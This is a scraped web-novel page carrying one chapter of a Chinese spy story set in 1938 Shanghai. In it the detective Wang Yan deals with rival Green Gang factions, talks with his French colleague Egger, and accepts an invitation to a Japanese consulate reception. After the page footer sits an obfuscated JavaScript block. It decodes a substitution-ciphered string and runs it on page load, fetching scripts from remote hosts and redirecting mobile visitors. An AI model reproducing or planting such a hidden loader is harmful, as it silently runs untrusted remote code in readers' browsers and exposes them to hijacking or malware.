首页
第六四五章 酒会邀请
返回
关灯 护眼:关 字号:小

第六四五章 酒会邀请

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    自从田标被汪曼春撞了个正着之后,军统上海站就没再派人来联系。王言倒是比较理解,一来从他这里确实得不到什么有用的情报,二来也是这一次暴露了,肯定还会有一段时间的监视,短期内不适合再次派人接触。
    王言的生活重新恢复平静,尽管最近可能是被日本人找到了什么突破口,安静没几天的地下斗争又一次的激烈起来,两党都被日本人追在后边狂咬,风云再起。
    但还是那句话,地下战斗再怎么激烈,跟王言都没有什么关系。除非上级命令或者上海地下党组织请求协助,而且这还存在一个优先级的问题。上级的命令,是他必须去完成的,哪怕抛弃生命。而上海地下党组织的协助请求,他是可以根据自身情况,选择拒绝的。一如之前两党联合行动,如果没有按照他的提议行动,或者是将行动时间改为夜晚,他是绝对不会出手的,只会看着上海地下党的同志去死。
    所以隐秘战线的战斗,对人最大的考验是什么?一点是每天在生死线上徘回的紧张刺激对心神的冲击,再一点,就是面对很多事情时的有心无力。
    会看着自己的同志死在自己的面前,甚至可能迫不得已,不得不亲自动手。而他们没有多长时间去悲伤,去舔舐伤口,第二天,又要伪装出另一幅面孔去应对。那种煎熬,不是一般人能承受的。
    索性王言不是好东西,好人坏人无辜人,他杀了太多太多。不会因为生命的消逝而触动,只是难免会敬仰为了理想、主义而奉献的高洁精神,那是真正的伟力。
    不过这种事大概率也发生不到他的身上,毕竟他人设在那的,就算真的到了日本人手下的那一天,除非日本人不想好了逼迫他动手,否则基本不可能。事实上真到了那个时候,以他的地位来说,日本人也不会吃饱了撑的跟他找麻烦。
    这一段时间中,尽管王言已经成为了租界内地位最高的华人,手握青联银行八百万美刀的财富,掌控着青联大部分话语权,但他没有任何动作,仍旧如同往日那般低调,自己玩自己的。日常的就是到处铺张的吃饭,去舞厅找自愿送上门的女人过夜,偶尔跟汪曼春缠绵。
    非要说正经事儿的话,也就是心血来潮,没事儿找事儿的跟着大同大学的学生一起,设计了‘金楼’的建筑、装修图纸,以及青联银行的内部装修设计。人员架构,他基本没怎么过问。
    此外就是方便面跟饮料的研发事项,进展也是比较顺利的。毕竟他清楚全套技术、工艺,虽然要装傻子一点通,但也是按部就班的一直在推进。
    尽管他现在有硬盘了,但他没事儿还是会看看那里面的海量资料,让自己有个印象,并非是有了优盘就真的什么都不管了。毕竟以前的知识都是他自己学习掌握的,而不能掌握硬盘中的技术,会让他心中有些许的不安全感。他是信奉伟力归于自身的,所以这许多年过来,他的科研能力也早都不是从前的时候了,主要也是活的长。即便这方面的天赋再差,一点点的积累进步,近千年的时间也该有所成就,不然就真活狗肚子里去了。
    除了研发事项,方便面与饮料的生产工厂也已经选址完毕,正在紧锣密鼓的进行建设。地址就在距离吉斯菲尔公园不远,紧邻着苏州河边,两个工厂挨在一起,离原本的上海西站也并没有很远。位置比较不错,便于调动租界内部的工人去工作,也方便原材料以及生产出来的货物运输。
    而最近如此频繁的大动作,花费当然是极其不菲的。不过也无所谓,青联银行就在那里,而且给法国人的分红也在他的手中掌握着,挪用一下问题也不大。
    别看他给上海地下党组织送了二十五万美刀,但那是够用很长时间的,他也不需要总是去送钱。事实上他手里掌握的钱财一直都不是很多,就是靠着灵活的操作在支撑。毕竟他主力还是供应苏区的物资,那全都是他的钱。
    不过除了那些洋鬼子的钱,他的资金回笼也挺快的。苏区那边清楚他的情况,也有一大笔钱专门用于他左手倒右手,此外他还有不少产业。比如饭店、旅店、茶楼、赌场、妓院、黄包车行以及收受商家的保护费,辖区内属于其他流氓产业的分润孝敬,全都是钱。
    至于洋人查账的事,偶尔也是有的,不过这么多年良好的口碑,还有那破逼账本王言自己都看不明白,再说他也没吞那些洋人多少钱,基本就那么应付过去了。
    这时候时间已经来到了六月份,日本兵峰正盛,厦门、合肥、徐州相继沦陷,在此前,徐州会战之中,国军二十九万人与日军五万兵力激战,历经月余时间,终以死伤五万为代价,换取了日军的一万伤亡,取得了自中日全面战争开打以来,战果最丰厚的一次胜利,史称台儿庄大捷。
    也在此前,五月份的时候,延安的一场会议上,着名的论持久战被首次讲演提出。该讲演全面分析了中日战争所处的时代和中日双方的基本特点,并从全国的战略全局出发,深刻地论述了抗日战争是持久战,必须经过战略防御、战略相持、战略反攻三个阶段,从而揭示了抗日战争发展的过程和规律,批驳了“亡国论”和“速胜论”。最后明确指出,抗日战争是持久战,最后胜利是中国的。
    消息传出,引起了很大的反响,包括远在上海的王言都弄到了原文又看了一遍。
    还是此前,六月上旬,取得了徐州会战胜利的日军南下,兵进武汉。为阻敌南下,光头下令掘开花园口黄河大堤。直接淹死和饿死的群众多达八十九万人,河南、安徽、江苏共计44县市被淹,受灾面积29000平方公里,受灾人口达1000万以上,冲毁140万民房、淹没近2000万亩耕地。黄水所到之处,房倒屋塌,饥民遍野。
    受此影响,又是一大批的人逃难到了上海,导致上海滩的难民暴涨,治安急转直下……
    “昨夜我辖区内,死亡三十二人,其中四人中枪身亡,疑似敌对双方枪战,没有来得及处理尸体,枪械、子弹全部丢失。五人被刀杀,其中两人均被一刀毙命,另外三人被乱刀砍死。其余二十三人,全部都是乞丐、难民,据说是因为要饭的地盘争斗而死。”
    何绍宏规规矩矩的坐着,腰杆笔直,将他们三个探长汇总的消息,向背对着他们,整个人窝在宽大舒适的大椅子中,大长腿交叉着搭在阳台上,沐浴着八点多钟,已经很有几分燥热阳光的王探长坐着汇报。
    “这狗屁世道,活的难啊……”王言摇头叹气:“都处理妥当了?”
    “是,昨天晚上值夜的兄弟就收尸了。咱们不就是干这个的吗,消息已经放出去了,还是老规矩,明天晚上没有人来认领的话,就给烧了。”
    “那些洋人没说什么吧?”
    “没有,这些年了,怎么也该习惯了。”
    王言点了点头,问道:“最近手下人没有跟日本人还有两党的人有联系吧?”
    张贤说道:“言哥,自从您上次抓了方远途,咱们手下的兄弟就一个比一个老实。再说兄弟们出来干活不就是为了养家湖口么,您给的多,他们平日里也不少赚外快,谁还冒着没命的风险跟您找不痛快?”
    “那就行,你们三个也要有数。我也是从小巡捕走上来的,当年我是组长的时候,日本人就找过我,等我是队长的时候,日本人、国民党、红党都来了。你们要是心中也有什么主义,那我管不着,你们自己小心就是了。之前的方远途是意外,知道的人太多了,我想放都放不了,后来要是不弄死他,等他回去跟日本人添油加醋,那我也不好过,这才不得不下了杀手。
    你们有什么事儿,悄悄的做,别让我知道,别给我找麻烦,那怎么干都行。这点儿分寸要是把握不好,你们就是有什么主义也别去凑那个热闹,因为我怕你们活不到那个时候。行了,喊口号做保证有什么用?你们信么?最近维护好街面上的稳定,晚上怎么干都行,白天还是安静些的好,店家生意不好,兄弟们拿什么养家?好了,去做事吧。”
    王言懒得听他们说什么乱七八糟的,王天风说的对,谁都别信。别的不说,刘一统那个跟他称兄道弟,最近地位抬升很大的探长,是红党。他从九岁养到十六岁的齐四,可能是红党外围成员。一个个的还都跟他演戏呢,更别说其他的那些人了。目前为止,他的交际圈中,唯一跟他说真话的,或许就是艾格这个一心搞钱,不问世事的洋鬼子了。主要也是艾格清楚,他自己就到这个份上了,再没法向上爬,不舒舒服服的混日子还等什么。
    所以当王言来找的时候,热爱工作的艾格依然听着音乐,喝着酒,见王言进去,他不满的说道:“王,自从你开了那个什么青联银行,整合了青帮的一部分力量之后,你就不怎么来找我这个清闲的朋友了。”
    王言自顾拿了酒杯倒酒,笑呵呵的坐在沙发上说道:“你自己都说清闲了,还不知道我什么情况?我要做的面条厂跟饮料厂正在建设,我还要跟那些学生一起研究讨论生产设备的制造,还要关注青联银行的进度,出去跟人吃饭拉些业务到银行来,青联银行的董事会还要建一个名叫‘金楼’的娱乐场所,很多事他们都不能作主,要我过目的。
    而且你也知道杜镛,以前上海滩名头最响的大亨,跟国民党的很多高层关系都不错。他虽然远在香港,做什么赈济委员会第九区赈济事务所的主任,但是门徒故旧甚多,他那个主任还是国民党总裁亲自安排的。这是个能人啊,在香港都能跟我斗法。以前还是我小瞧了他,将他当作惶惶奔逃的丧家之犬。你说这样的情况,我怎么有时间来找你聊天啊。”
    他可没说谎,因为青联的成立,他成了新一代的青帮头子,虽然没有掌握全部的力量,但是除了投靠日本人的那些,剩下的都入股了青联银行,这基本就是上海滩的半壁江山。
    这是杜镛的基本盘呐,他怎么可能眼看着王言这样一个曾经差了他十万八千里的人成事?所以消息传到了香港那边之后,杜镛就给王言写了一封老长的信过来,话说的非常漂亮,什么国事艰难,民族危亡,应该团结一心,为国奉献,为青帮传承出力云云。大意就是,你王言便宜也占差不多了,八百万也能填饱胃口。差不多就收手吧,让银行成为真的银行,方便大家做事,不要掣肘他们。你不抗日,不能耽误别人抗日。
    不管杜镛的评价如何,是也好,非也罢,一个流氓头子,拿家国大义跟另一个新起来的流氓头子,搞道德绑架,硬话软说,这本身就不是一件正常的事。也是真的逼急了,估计自打杜镛知道消息,就没睡过好觉。
    毕竟王言现在的势力不弱,就算青联的那帮人都不听话,王言自己也是交游广阔之辈。人脉关系或许不如杜镛,毕竟那是都跟光头联系上的人物,但说到底,杜镛在光头面前也不过是个小人物罢了,要不怎么可能让他去搞什么赈济事务所呢。剩下的那些关系,也不一定有多好使。
    毕竟关系的前提,是能对话。杜镛老家都被偷了,胜负未分之际,一般人都会选择作壁上观。再说王言也不差,通商多年,通过一系列的狼狈为奸沆瀣一气,那人脉关系网也是密密麻麻。
    不过在杜镛的金钱攻势下,还是有些国民党方面的人出来帮其说话,纷纷通过各种渠道给王言说和,甚至也包括戴雨农。这是应当应分的,忠义救国军是军统掌控的武装,而杜月笙曾派许多弟子加入,即使到了如今,那些人也仍旧在忠义救国军。
    除此之外,杜镛还不断的跟曾经的门徒故旧通信联络,鼓动他们跟王言找麻烦,就是不想让王言真的掌控住现有的力量。一旦被王言成功,他老杜可就完了,这辈子也就只能如此草草收场,只能找地方养老了,他是无论如何也不干的。
    是人都有野心,更何况曾经已经达到了一个高度的杜镛?所以他才要折腾。
    王言又不是软柿子,同样给杜镛回了一封信,言辞也是很温柔的,大意就是你杜镛年岁大了,人又在香港,不该恋权不去,而是要懂得培养后备,接续青帮传承,将更多更大的责任放到如他这样年轻有为的人身上。总结下来就是一个字,滚!
    同时对于那些来自国民党方面的压力,他也是嗯嗯啊啊的应付着,又使人过去做了生意。而来自于青联那帮脑后二斤反骨的人,他就是正常的应对,目前还没上升到来回刺杀的环节,搞文斗呢。看起来好像是打的有来有回,后方不稳。
    这个程度也就够了,人就是不能太出挑,否则容易招灾。所谓不遭人妒是庸才,这话有道理,但不全然是正确的。老祖宗说了,大智若愚、大巧不工,藏拙也是要得,否则才遭人妒,就遭人杀。
    他表现出的,好像很疲惫的应对内哄,这样大家都好。实际上他也没多累,毕竟他是董事长,谁退出青联他灭谁,这是底线。而且那些人也不傻,他们也不想退,因为这是一个新的高度,在青联中的位置越高,他们的势力也就越大。
    至于说弄死他,那就又回到了之前的时候。他一死,投靠日本人的那帮就又该出来了。杜镛要是能解决问题,他何必跑香港做什么赈济主任?
    所以他先天的立于不败之地,可怜那些人竟然因为一时的有来有往,忽视了这个问题。或者说,他们知道,但他们不愿去想,不愿接受失败,总要不服气的挣扎,期待着局势的新变化……
    艾格哈哈大笑,笑话着王言现在的情况不妙,他说:“知足常乐还是你告诉我的,王,你以前的时候就已经很好了,可是你满足,成立了青联,这是你自己找的麻烦。”
    “我还告诉过你,机会稍纵即逝,该出手时就出手。权力是毒药,人生是逆旅,如水上行舟,不进则退。而我这样的人,是没有退路的。一旦退了,那么我的下场就是死,进才有活的希望。你也不想到我的墓前送鲜花吧?”
    “当然,我们是真正的朋友。不过如果真的有那么一天,我想我不会给你送花,而是烧一百个女纸人,烧你花不完的钱,这样就算你下了地狱,凭借你的能力,说不定也会成为撒旦的左膀右臂,到时候等我上了天堂,在上帝的手下被欺负了,你也能给我报仇。还是你们中国的好,我死以后,就让我儿子给我多烧点儿,年年烧。”
    很好的中西合璧……
    “放心吧,你一定也是下地狱的,咱们俩谁都跑不了。”
    王言跟着艾格一起哈哈笑了一阵子,问道:“之前让你帮着买的那些实验器材怎么样了?”
    前些日子日常联络的时候收了来电,他先前送过去的资料已经全部安全到达苏区,相关学者已经根据他提供的资料展开研究。不过来电中也说了,让他搞一些实验器材。能生产是能生产的,有好设备谁不用?这是王言之前就考虑过的,他给大同大学买东西的时候就考虑到了。
    所王言将这个情况报告上去,让上海党组织想办法接触胡敦复,从他的手里买,走别的渠道运输,王言就不露面了。毕竟实验器材不是小东西,操作起来很有些难度。
    艾格不在意的摆了摆手:“已经出发了,再有半个月应该就到了。钱是我垫的,回头记得还我。”
    “听说你在法兰西买了酒庄?”
    “你怎么知道的?我可没跟几个人说。”
    看他一脸小心谨慎的样子,王言摇头一笑:“或许以后你应该少喝一些酒,这样就不会在喝醉的时候,到处跟人说你买了一个大酒庄,以及一片农场的事。”
    “哦,好吧。我说怎么最近人们看我的眼神有些不一样呢,原来是看富豪的眼神啊……”
    “那点儿钱就是富豪了?你又不是不知道我给米切尔还有署长他们送了多少钱,还差的远呢。”王言一口喝光了杯中酒,放好酒杯:“好了,艾格,你继续清闲吧,我要出去跟人家玩命了。”
    “我怕这是咱们最后一次见面,提前跟你说一下,下地狱了一定记得托梦告诉我,我好给你立碑烧纸。”
    王言摆了摆手,哈哈笑着远去……
    他说跟人玩命,当然是笑谈。艾格或许就是出自真心了,因为看起来,他现在的处境确实不太妙,真的可能被人弄死。
    没有多想来自艾格的祝福,王言出门叫上齐四,出发向着安排出来给大同大学的老师、学生们研究生产设备的地方而去。
    他把齐四也弄进了捕房,算是白领一份薪水,这对他来说是轻而易举的事情。
    正在王言拿着书,跟那些大同师生一起搞研究的时候,齐四从外面走了进来:“言哥,有个日本人找你,不是之前的那个大村彰弘,但也说是领事馆的。”
    王言点了点头,没有理会那些大同师生意味不明的眼神,走出去到了外面。门口的位置,正有一个年轻的,个头偏矮,甚至都不如齐四高的年轻日本人肃立。
    见王言出来,那日本人赶紧的快走几步近前:“王探长您好,我是大村彰弘先生手下的办事员,石原伸介。因为您的行踪不定,不得已之下,我只能冒昧的打探您的行踪,来到这里找您,请您不要怪罪我的鲁莽。
    三天后的下午,我们要在虹口举办酒会,领事馆、陆军、海军的人员都会参加,此外,还邀请了许多如同您一样,亲善大日本帝国的朋友。我们的副总领事岩井英一先生,非常想要与您见面,促膝长谈一番,诚心邀您参加。这是酒会的邀请函,请您一定赏光应邀。”
    一通话说完,这日本人鞠躬四十五度,双手呈递邀请函,恭敬的不行。日本人就是这样,喜欢搞这些没用的面子功夫。
    王言伸手接过邀请函,打开看了一下。
    这邀请函做的很精致,上面写着日本领事馆的名头扣着戳,是表明这场酒会的主办单位。还写着他的名字,以及酒会的举办地址,再有就是一些吉祥话,让他一定去。他的名字是用毛笔写的,墨迹已经干了少说三天,一看就是早早准备的一场宴会。
    虽然没有写着酒会的主题,不过大概率是庆祝之前的徐州会战成功,预祝武汉会战取得一样的成功。之所以这个时候举办酒会,应该是因为之前退出战场休整的部队,有一部分到了上海,借着这个由头,弄一出日本人的庆功会,中国人的汉奸卖国会。
    王言将邀请函递到旁边的齐四手中,从兜里掏出五十美刀,拍到这小日本的手上:“请转告大村先生、岩井先生,王某一定准时到。麻烦石原先生回去专程跑一趟,此地没有条件,招待不了你。不过不能白跑,这钱算你的辛苦费,等下了值,约上你的朋友出去喝酒,算我的心意,你不必推脱。”
    “多谢王探长的美意,石原厚颜收下。王探长,石原告辞。”小日本又是鞠了一躬,后退了一步,这才转身离开。
    王言目测,这次的躬目测不小于五十度,果然,钱是有分量的。
    齐四翻看着手里的邀请函,不解的问道:“言哥,真去啊?不是说不想跟日本人亲近吗?”
    “什么位置,做什么事。以前我是青帮的一支,是一个跟法国人关系亲近的,有钱一些的华捕探长。现在呢?虽然内部争斗不休,可在明面上,我就是青帮魁首,有多大的影响力还用我告诉你吗?这个时候他们邀请我,如果我不去,那传达的就是与日本人为敌的信号。毕竟只是一场酒会都这么不给面子,那以后找我办点事儿岂不是更没戏?换你是日本人,你杀不杀我?
    所以啊,酒会必须得去,没有拒绝的余地。至于到了那里,具体谈什么事儿,那就得随机应变,总之保命为上。行了,这些都不是你该考虑的事。请柬放车里,别弄丢了。”
    齐四撇了撇嘴,慢吞吞的走到车边,打开车门,随手将请柬扔到了副驾驶上。
    “你呀,以后要学会装样子,否则就你这样的,在哪都混不好。别拧着了,是我为难,你跟着瞎操什么心。”王言摇头一笑:“行了,是不是许久没去百乐门了?今晚过去耍耍。”
    齐四嘿嘿笑:“我这不是担心你的安全嘛……”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();